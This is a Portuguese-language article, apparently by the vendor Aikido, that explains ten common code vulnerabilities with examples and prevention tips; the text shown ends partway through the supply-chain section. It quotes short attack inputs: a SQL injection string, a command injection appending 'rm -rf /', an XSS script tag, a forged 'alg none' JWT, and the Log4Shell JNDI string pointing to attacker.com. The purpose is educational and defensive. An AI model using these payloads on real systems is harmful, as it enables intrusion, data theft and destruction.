Principais vulnerabilidades de segurança de código
Introdução: No panorama atual do software, a segurança do código é uma questão decisiva. O ano de 2025 bateu recordes em termos de vulnerabilidades divulgadas – mais de 21.500 CVEs só no primeiro semestre. Os atacantes não perdem tempo em transformar essas falhas em armas, muitas vezes poucas horas após a divulgação. E o mais impressionante é que muitas delas não são novas vulnerabilidades 0-day, mas os mesmos erros antigos que os programadores cometem há décadas. É quase embaraçoso — cross-site scripting e injeção de SQL ainda são comuns nos CVEs recém-relatados, ressaltando que as práticas de codificação segura não estão acompanhando. Isso deve preocupar todas as equipas de desenvolvimento, porque as explorações de vulnerabilidades agora representam 20% das violações — quase ultrapassando as credenciais roubadas como o principal vetor de ataque inicial.
Figura: O número de vulnerabilidades de software está a atingir níveis sem precedentes, com uma média de 133 novas CVEs relatadas por dia em 2025. Mais de um terço delas são classificadas como altas ou críticas, tornando a aplicação de patches em tempo útil e a codificação segura mais cruciais do que nunca.
Por que isso é importante? Porque um único descuido na codificação pode anular milhões de dólares em investimentos em segurança. Por exemplo, em 2024, uma violação do Tesouro dos EUA foi atribuída a nada mais do que uma chave API vazada. E todos nós já vimos como uma injeção SQL trivial ou uma verificação de autenticação ausente podem levar a vazamentos de dados catastróficos. O código seguro é mais importante do que nunca. Não é apenas um problema da equipa de segurança — começa connosco, os programadores, que devemos escrever código mais seguro desde o início e usar ferramentas para detectar problemas antecipadamente.
Neste artigo, analisaremos as principais vulnerabilidades de segurança ao nível do código que afetam as aplicações modernas. Estas incluem bugs clássicos no seu próprio código (pense secrets codificados secrets falhas na validação de entradas), bem como CVEs reais nas bibliotecas e frameworks de código aberto em que confia. Para cada vulnerabilidade, explicaremos como funciona, daremos um exemplo real, discutiremos o seu impacto e forneceremos dicas práticas para a prevenir. Também destacaremos como segurança voltada para o desenvolvedor , como Aikido ajudar a detectar ou até mesmo corrigir automaticamente esses problemas antes que eles cheguem à produção.
O que são vulnerabilidades de segurança de código?
Uma vulnerabilidade de segurança de código é qualquer fraqueza no código-fonte de uma aplicação que um invasor pode explorar para comprometer a confidencialidade, integridade ou disponibilidade. Isso abrange tudo, desde erros simples (por exemplo, usar eval em entradas não higienizadas) a falhas subtis em bibliotecas de terceiros (por exemplo, um bug de análise que leva à execução remota de código). Em suma, se facilitar o trabalho de um invasor, é uma vulnerabilidade de código.
Essas vulnerabilidades afetam todas as linguagens e pilhas de tecnologia, independentemente de você estar a escrever JavaScript/TypeScript, Python, Go, Java ou qualquer outra linguagem. Uma vulnerabilidade pode permitir que um invasor injete código malicioso, roube dados confidenciais, eleve privilégios ou trave o seu sistema. Muitas dessas falhas são catalogadas como CVEs (Common Vulnerabilities and Exposures, ou Vulnerabilidades e Exposições Comuns) quando descobertas em softwares populares. Outras podem ser bugs lógicos exclusivos do seu próprio código. O ponto em comum é que elas surgem de práticas de codificação inseguras ou suposições negligenciadas.
Com isso em mente, vamos examinar algumas das vulnerabilidades de nível de código mais prevalentes e perigosas que afetam os programadores atualmente. A lista abaixo mistura erros comuns dos programadores com CVEs reais de projetos de código aberto. Cada um representa uma ameaça prática que pode levar a violações graves se não for resolvida.
As 10 principais vulnerabilidades de segurança de código (e como corrigi-las)
1. Secrets codificados Secrets código
Deixar secrets confidenciais secrets no código é um erro crítico, mas comum. Codificar chaves API, credenciais, chaves de encriptação ou tokens na sua fonte significa que, se um adversário vir esse código (pense em repositórios públicos ou artefactos vazados), ele terá acesso instantâneo a esses secrets. Mesmo em repositórios privados, as credenciais podem vazar acidentalmente — e, uma vez vazadas, muitas vezes permanecem utilizáveis por anos. De facto, o relatório 2025 GitGuardiandescobriu que 23,8 milhões secrets foram expostos no GitHub em 2024 (um aumento de 25% em relação ao ano anterior). Pior ainda, 70% dos secrets em 2022 ainda eram válidos em 2025, dando aos invasores um longo período para explorá-los.
As violações no mundo real destacam o impacto. Por exemplo, em 2024, invasores violaram um sistema do Departamento do Tesouro dos EUA explorando uma única chave API codificada para uma plataforma de autenticação. Com uma chave, eles contornaram camadas de controlos de segurança como se fossem usuários autorizados. Da mesma forma, muitas violações na nuvem começam quando um programador inadvertidamente compromete credenciais da nuvem ou senhas de banco de dados em um repositório. Quando um invasor encontra essas informações, é o fim do jogo: ele pode fazer login como você e se passar por seus serviços.
Impacto: secrets expostos secrets levar ao acesso não autorizado imediato a bases de dados, contas na nuvem, gateways de pagamento ou APIs de terceiros. Um invasor com uma chave AWS vazada, por exemplo, poderia criar infraestrutura, extrair dados ou acumular contas enormes. O custo médio das violações envolvendo credenciais comprometidas é de US$ 4,5 milhões, e elas levam mais tempo para serem detectadas e contidas, porque o invasor tem acesso válido.
Prevenção/Remediação: Trate secrets fossem granadas ativas – nunca os codifique no seu código ou nos Dockerfiles. Use variáveis de ambiente, gerenciamento de configuração ou cofres secretos dedicados para injetar secrets tempo de execução. Implemente a verificação automatizada de segredos no seu pipeline de CI/CD para detectar quaisquer credenciais que possam escapar. (Existem soluções que oferecem um recurso de deteção de secrets em tempo real para impedir secrets sejam confirmados.) Por exemplo, a plataforma Aikidoinclui uma verificação de segredos que sinaliza uma chave API em uma confirmação e alerta você ou até mesmo impede o envio. Uma vez que um segredo é exposto, considere-o comprometido – troque-o imediatamente e invalide o antigo. Ao praticar uma boa higiene e verificação de segredos, você pode evitar entregar aos invasores as chaves do seu reino.
2. Ataques de injeção (SQL e injeção de comando)
As vulnerabilidades de «injeção» são um clássico intemporal – e ainda incrivelmente prevalentes. Num ataque de injeção de código, entradas não confiáveis são interpretadas como código ou comandos, permitindo que o invasor altere o comportamento pretendido. As duas variantes mais notórias são a injeção SQL e a injeção de comando do sistema operativo.
- Injeção SQL (SQLi): Ocorre quando a entrada do utilizador é concatenada numa consulta SQL sem validação ou parametrização adequadas. Os atacantes podem criar entradas como
' OU 1=1--para adulterar a lógica da consulta. Isso pode permitir que eles despejem bancos de dados inteiros ou modifiquem dados expandindo a cláusula WHERE da consulta ou encerrando-a e adicionando um novo comando. Apesar de ser uma vulnerabilidade clássica da década de 2000, o SQLi continua muito difundido – foi o segundo padrão de vulnerabilidade mais comum em CVEs em 2025. Por exemplo, o infame “Bobby Tables” XKCD A piada é engraçada até percebermos que empresas reais ainda são vítimas disso. Já ocorreram violações de segurança de grande repercussão em que uma simples injeção SQL num formulário de login levou ao roubo de milhões de registos de clientes. - Injeção de comando do sistema operativo: Neste caso, a aplicação recebe a entrada do utilizador e insere-a num comando do sistema ou numa chamada de execução do shell. Por exemplo, uma aplicação Python pode fazer o seguinte:
os.system("ping " + user_input). Um invasor poderia fornecer uma entrada como8.8.8.8 && rm -rf /para executar um segundo comando malicioso. Houve CVEs em estruturas e utilitários da web que inadvertidamente permitiram que tais entradas gerassem shells. Essencialmente, se um invasor conseguir injetar um;ou&&em uma sequência de comandos, eles podem executar comandos arbitrários do sistema com os privilégios do aplicativo.
Exemplo: um incidente notável no mundo real foi a vulnerabilidade Drupalgeddon2 (CVE-2018-7600) no CMS Drupal, que era essencialmente uma falha de injeção que permitia a execução remota de código por meio de solicitações criadas. Outro exemplo: em 2022, uma grande empresa teve os seus dados internos apagados porque uma ferramenta de administração concatenou entradas do utilizador num comando PowerShell – um invasor passou um comando para desativar os serviços de segurança e excluir dados. Esses casos mostram que a injeção pode levar diretamente ao comprometimento total do sistema.
Impacto: a injeção de SQL pode expor ou corromper dados confidenciais (registos de utilizadores, informações financeiras) e, muitas vezes, permite uma pivotação mais profunda da rede através de procedimentos armazenados na base de dados. A injeção de comandos quase sempre resulta numa execução remota de código (RCE), permitindo que os atacantes executem qualquer código no servidor – potencialmente assumindo o controlo total do host. falhas de injeção altamente críticas; elas podem comprometer uma aplicação e o seu servidor subjacente.
Prevenção: O mantra é nunca confie nas entradas do utilizador. Use instruções preparadas (consultas parametrizadas) para acesso ao banco de dados – isso garante que os dados do usuário sejam tratados estritamente como dados, e não como SQL executável. Por exemplo, em Python, use placeholders de parâmetros com cursor.execute("SELECT * FROM utilizadores WHERE id = %s", (id_utilizador,)) em vez de formatação de cadeias. Para linguagens como JavaScript, use bibliotecas ORM/QueryBuilder que parametrizam consultas para você. Da mesma forma, evite construir comandos shell a partir de partes da entrada do utilizador. Se precisar invocar comandos do sistema, use chamadas de biblioteca seguras ou, pelo menos, coloque as entradas aceitáveis na lista de permissões. Valide e higienize as entradas – por exemplo, se uma entrada deve ser um ID, certifique-se de que seja numérica e esteja dentro do intervalo esperado. A validação de entradas não é infalível por si só, mas é uma camada importante.
Além disso, utilize ferramentas de teste de segurança. análise estática de código muitas vezes análise estática de código detectar padrões óbvios de injeção (como concatenação de strings em chamadas SQL). SAST Aikido, por exemplo, sinalizaria o risco os.system(entrada_do_utilizador) chamada ou consulta SQL não parametrizada como uma potencial injeção. No lado preventivo, os firewalls de aplicações web (WAFs) podem bloquear algumas tentativas de injeção, mas eles são uma rede de segurança – o objetivo é corrigir o código. Lembre-se de que falhas de injeção porque são fáceis de introduzir e, às vezes, difíceis de detectar. Revisão de código, formação de desenvolvedores e varreduras automatizadas são seus aliados aqui.
3. cross-site scripting
O cross-site scripting é outra ferramenta favorita dos atacantes. Num ataque XSS, uma aplicação web inclui inadvertidamente código de script malicioso fornecido por um invasor nas páginas enviadas a outros utilizadores. O navegador da vítima executa esse script, levando ao sequestro de sessões, sites vandalizados ou malware entregue ao utilizador. O XSS vem em vários tipos (armazenado, refletido, baseado em DOM), mas, em sua essência, geralmente é uma falha na sanitização ou codificação adequada da saída na interface do utilizador.
Apesar do surgimento das modernas estruturas front-end, o XSS continua sendo o padrão de vulnerabilidade web mais frequente. No primeiro semestre de 2025, o cross-site scripting foi a fraqueza mais comum observada nos novos CVEs. Isso se deve, em parte, ao facto de que mesmo pequenos descuidos na sanitização podem introduzir o XSS em plataformas que, de outra forma, seriam seguras. Por exemplo, uma nova vulnerabilidade do Angular divulgada em 2025 (CVE-2025-66412) revelou que certos atributos SVG e MathML não eram cobertos pelo sanitizador padrão do Angular, permitindo que URLs JavaScript maliciosas passassem despercebidas. Em aplicações que utilizam versões afetadas do Angular, um invasor poderia criar uma carga que, quando renderizada, executaria scripts arbitrários nos navegadores dos utilizadores – um XSS armazenado no que deveria ser uma estrutura segura!
Exemplo: Um exemplo clássico é uma secção de comentários onde os utilizadores podem publicar texto. Se a aplicação simplesmente exibir esse texto nas páginas sem codificação, um invasor poderá publicar um comentário como <script>stealCookies()</script>. Todos os utilizadores que visualizassem esse comentário executariam, sem saber, o script do invasor, que poderia, por exemplo, enviar o seu token de sessão para o invasor. Houve incidentes reais em sites de grande visibilidade em que o XSS em perfis de utilizadores ou fóruns levou ao sequestro em massa de contas. Mesmo em 2023, os investigadores encontraram XSS em vários plugins e aplicações web – por exemplo, um XSS refletido num popular portal de suporte empresarial permitiu que um invasor executasse código enganando um utilizador do helpdesk para clicar num link criado para esse fim.
Impacto: O impacto do XSS é normalmente a falsificação de identidade e o roubo de dados no lado do cliente. Os atacantes podem roubar cookies de sessão, permitindo-lhes falsificar a identidade dos utilizadores (incluindo administradores). Eles podem realizar ações como o utilizador (como alterar as configurações da sua conta), exibir formulários de login falsos (phishing) ou até mesmo espalhar worms (um XSS que se publica em outras páginas). Embora o XSS não comprometa diretamente o servidor, coloca os seus utilizadores em sério risco e pode danificar a sua aplicação. Em alguns casos, o XSS pode ser um passo para ataques adicionais (por exemplo, pivotar para o navegador de um administrador para obter acesso ao backend).
Prevenção: A regra de ouro é higienizar a entrada e codificar a saída. Para quaisquer dados que possam incluir caracteres especiais HTML, certifique-se de que estão devidamente escapados ou higienizados antes de os inserir na página. Frameworks modernos como React, Angular e Vue têm defesas XSS integradas (por exemplo, auto-escaping ou DomPurify para HTML perigoso) – use-os como pretendido e evite contornar essas salvaguardas. Se estiver a construir HTML manualmente, use bibliotecas de modelos queescape chamem explicitamente funções de codificação. Empregue uma política de segurança de conteúdo (CSP) para mitigar danos (a CSP pode restringir quais scripts podem ser executados). Atualize regularmente as bibliotecas front-end – como visto com os CVEs 2025 XSS do Angular, as estruturas corrigem lacunas de higienização.
Do ponto de vista das ferramentas, analisadores estáticos pode encontrar alguns problemas de XSS rastreando fluxos de dados não sanitizados. A verificação de código Aikido, por exemplo, pode alertá-lo se a entrada do utilizador for direcionada diretamente para innerHTML ou um modelo sem escapar. varredura dinâmica DAST) também pode detectar XSS ao tentar injetar scripts durante o teste. Combine isso com uma revisão completa do código (imagine a mentalidade de um invasor ao revisar qualquer código que lida com HTML). O segredo é a vigilância: o XSS geralmente se infiltra por meio daquele «pequeno campo» que alguém esqueceu de escape.
4. Falsificação de pedidos entre sites (CSRF)
A falsificação de pedidos entre sites é um pouco diferente das outras questões aqui abordadas – trata-se mais de uma vulnerabilidade de design do que de um bug de código propriamente dito, mas é muito relevante para aplicações web. A CSRF permite que um invasor induza o navegador da vítima a realizar ações não autorizadas numa aplicação web na qual a vítima está autenticada. Essencialmente, o invasor «aproveita-se» da sessão da vítima enviando um pedido falsificado do navegador da vítima para a aplicação alvo.
Como isso acontece? Digamos que um utilizador esteja conectado ao site do seu banco. O recurso de transferência de dinheiro do banco é uma simples solicitação POST para transferir dinheiro. Se o site do banco não estiver protegido contra CSRF, um invasor poderia enviar por e-mail a esse utilizador uma página HTML maliciosa contendo um formulário ou script oculto que automaticamente faz essa solicitação POST (usando os cookies do utilizador). O banco vê um cookie de sessão válido do utilizador e processa a solicitação, transferindo dinheiro para o invasor, tudo sem o conhecimento do utilizador.
O CSRF é bem conhecido há anos, mas ainda aparece com frequência (estava entre as 5 principais categorias de vulnerabilidades em 2025 CVEs). Ele geralmente surge quando os programadores criam APIs ou ações de formulário sem incluir tokens CSRF ou outras medidas antifalsificação. Mesmo frameworks experientes podem ter erros de lógica: por exemplo, foi descoberta uma vulnerabilidade no Angular 2025 em que a proteção XSRF do Angular tratava erroneamente algumas URLs entre domínios como sendo da mesma origem, fazendo com que anexasse o token do utilizador a solicitações controladas pelo invasor. Esse tipo de falha poderia permitir o CSRF ao vazar ou usar indevidamente tokens.
Impacto: Um ataque CSRF bem-sucedido pode forçar os utilizadores a realizar qualquer ação que altere o estado da sua conta: atualizar detalhes da conta, fazer compras, alterar a senha e até mesmo escalar privilégios, se tal funcionalidade existir. Essencialmente, o invasor aproveita-se da sessão autenticada da vítima. Notavelmente, os ataques CSRF têm como alvo ações, não o roubo direto de dados (para isso existe o XSS), mas as ações podem ser igualmente prejudiciais (transações financeiras, modificações de dados, etc.). Muitas explorações CSRF de alto perfil permitiram que os atacantes, por exemplo, alterassem as configurações de DNS de um router a partir do interior ou publicassem conteúdo indesejado em nome de um utilizador nas redes sociais.
Prevenção: A defesa padrão é incluir um token anti-CSRF em cada transação sensível. Frameworks como Django, Rails, Spring, etc. têm mecanismos de token CSRF integrados – use-os. O token é um valor aleatório que o site de um invasor não consegue obter, e o servidor só aceitará solicitações que tenham o token correto (geralmente enviado como um campo oculto do formulário ou cabeçalho). Em aplicativos modernos, se você estiver a construir um backend de API puro, pode usar estratégias como exigir um cabeçalho personalizado (por exemplo, X-Requested-With) ou cookies do mesmo site definidos como Strict/Lax para mitigar CSRF. Certifique-se de que os seus cookies estão marcados SameSite=Lax ou Strict para que os navegadores não os incluam em solicitações de origem cruzada por predefinição (isso tornou-se uma defesa moderna fundamental). Além disso, tenha cuidado com as configurações CORS – não permita que o domínio de um invasor envie solicitações privilegiadas via CORS, a menos que seja absolutamente necessário.
A maioria das estruturas web lida com CSRF para si, se o ativar corretamente. Certifique-se de que não está acidentalmente desativado. Nos testes, tente alguns cenários CSRF: uma ação pode ser acionada apenas visitando um link externo ou carregando uma imagem? Se sim, tem um problema. Felizmente, o CSRF pode ser evitado com as práticas corretas. Os testes de segurança Aikidotambém podem simular tentativas de CSRF como parte do pentesting. Além disso, considere ações críticas multifatoriais (para que, mesmo que o CSRF acione a ação, um segundo fator seja necessário para concluí-la). Em geral, nunca presuma que uma solicitação veio de uma fonte genuína — valide-a.
5. autenticação quebrada controlo de acesso
autenticação quebrada as vulnerabilidades de controlo de acesso referem-se ao que acontece quando a sua aplicação não impõe adequadamente quem pode fazer o quê. Esta categoria é consistentemente o risco mais crítico no Top 10 OWASP. Essencialmente, estas são falhas que permitem aos atacantes contornar a autenticação ou elevar os seus privilégios, explorando lacunas na sua lógica de autorização.
Um subconjunto é autenticação quebrada – questões como permitir senhas fracas, não aplicar bloqueios em tentativas de força bruta ou gerenciamento de sessão falho (por exemplo, IDs de sessão previsíveis ou que não expiram). Um exemplo histórico famoso foi uma questão em que alguns aplicativos aceitavam um JWT com o algoritmo “none” como válido – o que significava que um invasor poderia falsificar um token com { "alg": "none", "user": "admin" } e o sistema aceitava-o como um login de administrador (isso resultou de bibliotecas que não verificavam os tokens corretamente, um problema descoberto por volta de 2015). Mais recentemente, configurações incorretas, como deixar credenciais de administrador padrão em vigor ou usar senhas codificadas (ligadas a secrets), são falhas comuns de autenticação.
O outro subconjunto (e possivelmente mais comum) é controle de acesso quebrado. Trata-se de não verificar corretamente as permissões do utilizador. Por exemplo, uma aplicação pode permitir uma URL como /usuário/perfil?userId=1234. Se eu puder alterar o userId para a identificação de outra pessoa e visualizar ou modificar os seus dados, isso é um IDOR (Insecure Direct Object Reference, ou Referência Direta a Objeto Inseguro) – uma falha clássica de controlo de acesso. Isso foi destacado como CWE-862 “Missing Authorization” (Autorização Ausente) em muitos CVEs. É incrivelmente comum: muitas violações de alto perfil começam com alguém a encontrar um ponto final de API que não verifica os privilégios do solicitante. Um exemplo real: um sistema de RH empresarial tinha uma função de «exportar todos os registos de funcionários» destinada aos gestores de RH. Devido a uma verificação em falta, qualquer funcionário com sessão iniciada podia invocá-la se soubesse o URL – resultando numa violação de dados de milhares de registos.
Impacto: uma autenticação quebrada pode permitir que invasores se passem por outros utilizadores (incluindo administradores) ou usem os privilégios de outro utilizador. controle de acesso quebrado expor dados confidenciais (se você puder acessar os registos de outra pessoa) ou até mesmo permitir alterações maliciosas de estado (por exemplo, utilizadores normais realizando ações exclusivas de administradores). Os piores cenários incluem a apropriação completa de contas, vazamentos de dados ou operações não autorizadas em todo o sistema. Por exemplo, uma verificação administrativa ausente pode permitir que um invasor crie novos utilizadores administrativos ou baixe todos os dados dos clientes. É fácil entender por que esse é o risco número 1: ele compromete o princípio fundamental de segurança de garantir que cada utilizador possa fazer apenas o que deve.
Prevenção: Isso se resume ao rigor na implementação da autenticação e autorização:
- Autenticação: Use estruturas comprovadas para login e gerenciamento de sessão – não crie sua própria autenticação, se possível. Imponha políticas de senha fortes e use autenticação multifatorial para contas confidenciais. Certifique-se de fazer o hash das senhas corretamente (use hashes adaptativos fortes, como bcrypt ou Argon2, e não MD5 simples). Implemente o bloqueio de conta ou rate limiting tentativas de login para impedir ataques de força bruta. Para tokens de sessão, crie-os longos e aleatórios e, se estiver a usar JWTs, verifique sempre as assinaturas e reivindicações (e rejeite o algoritmo “none” ou outras configurações inseguras). Considere usar bibliotecas para lidar com a verificação JWT e o armazenamento de sessão com segurança.
- Controle de Acesso: Siga o princípio do privilégio mínimo no design da sua aplicação. No lado do servidor, todas as solicitações a um recurso protegido devem realizar uma verificação de autorização: por exemplo, se o utilizador 123 solicitar
/contas/456, o código deve verificar se 123 tem permissão para aceder ao recurso 456. Use estruturas de controlo de acesso baseadas em funções ou atributos, sempre que possível. Muitas vezes, é útil centralizar a lógica de autorização, para que ela não fique espalhada em um milhão de condicionais fáceis de esquecer. Ao usar estruturas como Django, Rails, Spring Security etc., aproveite as anotações ou middleware de controlo de acesso integrados. Em APIs REST, evite depender exclusivamente da aplicação do lado do cliente (como ocultar botões de administração na interface do utilizador) — sempre aplique também no back-end.
Durante o desenvolvimento e os testes, pense como um invasor: tente manipular URLs, tente aceder às IDs de outros utilizadores ou execute ações fora da sua função. Ferramentas como os testes de segurança Aikido(ou testes de penetração manuais) podem ajudar a identificar esses problemas, verificando padrões comuns de IDOR ou autenticação ausente nos pontos finais. Algumas ferramentas de análise estática também podem detectar desvios codificados ou condições sempre verdadeiras na lógica de autenticação.
No código, nunca presuma a «segurança por obscuridade» (ou seja, que ninguém encontrará esse ponto final administrativo oculto). Em vez disso, certifique-se de que, mesmo que o encontrem, não possam usá-lo sem as credenciais adequadas. O registo e os alertas também são fundamentais — se alguém estiver a aceder repetidamente a recursos aos quais não deveria, é importante que saiba. Resumindo: autentique tudo, autorize todas as ações.
6. Deserialização insegura
As vulnerabilidades de desserialização ocorrem quando uma aplicação aceita dados serializados (por exemplo, blobs binários ou JSON/XML que representam objetos) de uma fonte não confiável e os desserializa sem as devidas salvaguardas. Se os dados forem criados de forma maliciosa, isso pode fazer com que o programa instancie objetos inesperados ou execute código controlado pelo invasor. Em linguagens como Java, Python e .NET, a desserialização insegura levou a inúmeras CVEs e explorações críticas.
Um exemplo recente de grande visibilidade é o React2Shell (CVE-2025-55182), um RCE crítico no React Server Components descoberto no final de 2025. Ele teve origem na deserialização insegura no protocolo RSC “Flight” – essencialmente, uma carga malformada enviada para um aplicativo Next.js/React poderia manipular a lógica de deserialização do servidor e conseguir a execução remota de código. O que torna isso particularmente assustador é que as configurações padrão eram vulneráveis (um aplicativo Next.js padrão poderia ser explorado sem alterações de código pelo desenvolvedor). Era um ataque não autenticado que exigia apenas uma solicitação HTTP criada para o servidor, e o código de exploração tornou-se publicamente disponível – levando a explorações ativas em poucos dias. Isso mostra como falhas de deserialização podem estar ocultas mesmo em frameworks modernos.
Em Java, um caso infame foi a exploração do Apache Commons Collections em 2015: muitas aplicações empresariais estavam a usar bibliotecas que deserializavam automaticamente objetos Java a partir de entradas do utilizador (como em cookies HTTP ou dados SOAP). Os invasores descobriram que podiam incluir um objeto serializado de uma classe maliciosa que, quando construído, executaria comandos. Isso levou a RCEs em aplicativos como Jenkins, WebLogic, etc. (Vários CVEs, como CVE-2017-9805 no Struts e outros no WebLogic, resolveram esses problemas). Python também não está imune – usando pickle.loads em entradas não confiáveis é basicamente dar poderes de execução de código à entrada. Mesmo formatos de dados aparentemente seguros podem ser arriscados: os analisadores YAML em Python e Ruby tinham vulnerabilidades que podiam ser forçadas a executar comandos ao carregar YAML especialmente criado.
Impacto: A deserialização insegura é frequentemente um caminho para execução remota de código. No mínimo, isso pode permitir a adulteração de dados ou a injeção de objetos indesejados. Um invasor pode potencialmente instanciar classes ou objetos do sistema com efeitos colaterais maliciosos. Por exemplo, em Java, eles podem usar classes gadget (objetos cujos lerObjeto método tem um comportamento desagradável) para abrir um shell reverso. Em Python, um pickle malicioso poderia importar o os módulo e executar comandos do sistema. O impacto é normalmente o comprometimento total da aplicação e, possivelmente, do host, porque o código é executado dentro do processo da aplicação.
Prevenção: Primeiro, evite serializar e deserializar formatos de dados confidenciais ou arbitrários de fontes não confiáveis sempre que possível. Se precisar trocar dados com o cliente, use formatos mais simples, como JSON, e analise/valide o conteúdo manualmente, em vez de usar a serialização de objetos da linguagem nativa. Para linguagens que exigem deserialização (por exemplo, receber objetos complexos), use bibliotecas que suportam um modo seguro ou lista de classes permitidas. Por exemplo, o Java’s ObjectInputStream pode ser restrito a determinadas classes através de um filtro de validação (disponível nas versões recentes do JDK). Da mesma forma, para Python, prefira json ou, se tiver de usar YAML, use carregamento_seguro em vez de carga (para evitar a potencial instanciação de objetos).
Muitas estruturas abordaram vetores de desserialização conhecidos: por exemplo, desativando predefinições perigosas. Certifique-se de manter essas bibliotecas atualizadas. A vulnerabilidade do React acima foi corrigida por patches para Next.js e React – atualizar para essas versões é fundamental. análise de dependências alertá-lo sobre esses CVEs para que possa aplicar os patches imediatamente.
No lado do código, trate a desserialização como se fosse carregar um ficheiro de uma fonte não confiável – nunca confie no seu conteúdo. Implemente verificações de integridade ou assinaturas para dados serializados, se possível (para que apenas o servidor possa produzir objetos serializados válidos). Se estiver a usar algo como JWTs ou outros tokens, dê preferência a formatos padrão com validação integrada. SAST Aikido SAST ajudar a sinalizar o uso de funções inseguras (por exemplo, ele pode avisar se detectar pickle.loads em dados que não são obviamente confiáveis). E se for absolutamente necessário aceitar objetos serializados, considere executar essa lógica em um ambiente sandbox com privilégios limitados.
Em resumo: seja extremamente cauteloso com a desserialização. A conveniência de transformar bytes em objetos automaticamente não compensa o risco à segurança, a menos que seja rigorosamente controlada.
7. Utilização de dependências vulneráveis e desatualizadas
As aplicações modernas dependem fortemente de bibliotecas e frameworks de código aberto. A desvantagem é que, se não mantiver essas bibliotecas e frameworks atualizados, provavelmente estará a abrigar vulnerabilidades conhecidas na sua base de código. O uso de componentes vulneráveis ou desatualizados é tão comum que a OWASP incluiu-o na categoria mais ampla de «Cadeia de fornecimento de software» em 2025. Uma única biblioteca desatualizada pode tornar a sua aplicação vulnerável, mesmo que o seu próprio código seja impecável.
O exemplo mais emblemático é Log4Shell (CVE-2021-44228) no Log4j 2. Esta foi uma vulnerabilidade RCE crítica numa biblioteca de registo Java extremamente popular, divulgada no final de 2021. Permitia aos atacantes simplesmente enviar uma string especialmente criada (${jndi:ldap://attacker.com/a}) em qualquer mensagem de registo; se uma versão vulnerável do Log4j registasse essa string, ela realizaria uma pesquisa JNDI no servidor do invasor e carregaria código malicioso. O resultado? Um invasor poderia executar código arbitrário no servidor, acionado por um evento de registo. O Log4Shell foi em todo o lado – milhões de aplicações foram afetadas porque o Log4j estava incorporado em inúmeros produtos Java. As empresas passaram semanas atualizando freneticamente o Log4j para a versão 2.17+ para corrigir o problema. Esse único bug de dependência foi considerado uma das vulnerabilidades mais graves da Internet nos últimos anos.
E há muitos outros exemplos: o bug Heartbleed no OpenSSL (2014) deixou as comunicações expostas, as falhas de deserialização do Jackson-databind (vários CVEs em 2017-2019) deram aos invasores RCE via processamento JSON, uma vulnerabilidade na biblioteca Python urllib3 (CVE-2020-26137) permitiu o bypass do certificado HTTPS sob certas condições, etc. No mundo do JavaScript, quem pode esquecer os problemas de Prototype Pollution no Lodash e jQuery (por exemplo, CVE-2019-10744) – os invasores podiam manipular o protótipo de um objeto por meio de entradas maliciosas, causando estragos na aplicação. Se estiver a usar uma versão desatualizada de um pacote popular, é provável que as vulnerabilidades sejam publicamente conhecidas. Os invasores certamente as conhecem e tentarão explorar aplicativos que não foram corrigidos.
Impacto: O impacto varia de acordo com a vulnerabilidade da biblioteca, mas pode ser tão grave quanto a execução remota de código, vazamento de dados ou comprometimento total. Usando o exemplo do Log4Shell – se você tivesse um Log4j antigo, um invasor poderia executar código remotamente nos seus servidores apenas enviando a string correta (isso é o pior que pode acontecer). Uma estrutura web desatualizada pode permitir XSS ou SQLi no seu site, mesmo que o seu próprio código esteja correto. Uma biblioteca de criptografia vulnerável pode quebrar a encriptação na qual você confia. Essencialmente, a sua segurança é tão forte quanto o elo mais fraco nas suas dependências. Os invasores costumam procurar versões específicas de software por meio de cabeçalhos ou caminhos de ficheiros conhecidos para identificar alvos exploráveis.
Prevenção: Mantenha-se a par das atualizações. Isso é mais fácil dizer do que fazer (em projetos grandes com muitas dependências, atualizações constantes podem ser uma tarefa árdua), mas é imprescindível para a segurança. Use ferramentas de gestão de dependências que mostram as atualizações disponíveis e reserve um tempo regular para aplicá-las. Aproveite as ferramentas análise de composição de software SCA), que alertam se o seu projeto está a trazer uma biblioteca com um CVE conhecido. Por exemplo, se houver uma vulnerabilidade crítica em lodash 4.17.19 e você estiver a usar isso, uma SCA irá sinalizá-lo e sugerir a atualização para 4.17.21. Muitos registos de pacotes também publicam avisos de segurança – utilize as ferramentas de auditoria adequadas para o seu ecossistema como parte do seu processo de CI.
Além de apenas alertar, algumas ferramentas modernas podem até corrigir automaticamente esses problemas, atualizando-o automaticamente para versões seguras. Algumas plataformas podem detetar pacotes vulneráveis e propor a atualização mínima da versão que corrige o CVE (e até abrir uma solicitação de pull para si). Sempre teste após as atualizações, mas não deixe que o medo de alterações significativas o mantenha numa versão antiga e vulnerável — o risco de uma violação geralmente supera o risco de uma pequena atualização na maioria dos casos.
Além disso, minimize as dependências sempre que possível (menos bibliotecas significam menos vulnerabilidades potenciais) e dê preferência a bibliotecas com manutenção ativa. Se um projeto parecer abandonado e tiver problemas conhecidos, considere alternativas. Fique atento às notícias sobre segurança para saber quais são as vulnerabilidades críticas na tecnologia que utiliza. Essencialmente, trate o gerenciamento de dependências como parte da sua postura de segurança, não apenas como uma tarefa de DevOps. O objetivo é fechar as brechas conhecidas antes que os invasores as explorem.
8. Dependências maliciosas ou comprometidas (ataques à Supply chain)
Relacionado ao uso de componentes desatualizados, mas ainda mais insidioso, estão ataques à Supply chain de software ataques à Supply chain – quando os invasores contaminam o sistema injetando código malicioso nos pacotes de terceiros que você usa. Em vez de esperar por uma vulnerabilidade, o invasor cria uma ao adulterar secretamente uma biblioteca (ou publicar uma falsa) que os programadores então incorporam aos seus projetos. Essa forma de ataque tem aumentado nos últimos anos, especialmente em ecossistemas como npm e PyPI.
Um caso dramático ocorreu em Setembro de 2025, quando ocorreu um dos maiores compromissos npm da história. Os atacantes fizeram phishing a um mantenedor de pacotes populares como debug e chalk (que, juntos, tinham mais de 2 mil milhões de downloads semanais!) e obtiveram o controlo da sua conta npm. Em seguida, publicaram atualizações infectadas para 18 pacotes, adicionando código malicioso que visava carteiras de criptomoedas em páginas da web. Os programadores que inocentemente atualizaram para essas novas versões basicamente instalaram malware. O código malicioso se conectava a APIs da web para roubar criptomoedas, trocando endereços de carteiras durante as transações. Esse incidente foi enorme – colocou potencialmente milhões de aplicações em risco até que os pacotes fossem retirados e corrigidos. É um forte lembrete de que mesmo pacotes amplamente confiáveis podem se transformar repentinamente em trojans se os seus mantenedores forem comprometidos.
